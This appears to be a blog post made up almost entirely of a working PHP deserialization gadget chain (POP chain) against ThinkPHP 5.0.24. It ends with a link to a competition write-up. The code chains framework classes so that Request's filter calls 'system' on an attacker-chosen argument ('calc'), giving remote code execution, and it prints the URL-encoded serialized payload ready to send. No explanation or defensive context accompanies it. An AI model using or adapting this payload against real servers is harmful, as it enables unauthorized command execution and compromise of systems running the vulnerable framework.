tp5.0.24 RCE POP

<?php

namespace think\process\pipes {
    class Windows
    {
        private $files = [];

        public function __construct()
        {
            $this->files = [new \think\model\Merge];
        }
    }
}

namespace think\model {

    use think\Model;

    class Merge extends Model
    {
        protected $append = [];
        protected $error;

        public function __construct()
        {
            $this->append = [
                'bb' => 'getError'
            ];
            $this->error = (new \think\model\relation\BelongsTo);
        }
    }
}

namespace think {
    class Model
    {
    }

    class Request
    {
        protected $get     = ["<removeWhereField><"=>"calc"];
        protected $filter = ["system"] ;
    }
}


namespace think\console {
    class Output
    {
        protected $styles = [];
        private $handle = null;

        public function __construct()
        {
            $this->styles = ['removeWhereField'];
            $this->handle = (new \think\session\driver\Memcache(new \think\cache\driver\Memcache(new \think\Request)));
        }
    }
}

namespace think\model\relation {
    class BelongsTo
    {
        protected $query;

        public function __construct()
        {
            $this->query = (new \think\console\Output);
        }
    }
}

namespace think\session\driver {
    class Memcache
    {
        protected $handler;

        public function __construct($handler)
        {
            $this->handler = $handler;
        }
    }
}

namespace think\cache\driver {
    class Memcache
    {
        protected $tag = true;
        protected $handler;

        public function __construct($handler)
        {
            $this->handler = $handler;
        }
    }
}

namespace {
    echo urlencode(serialize(new \think\process\pipes\Windows));
}

下一篇： 陇剑杯WP→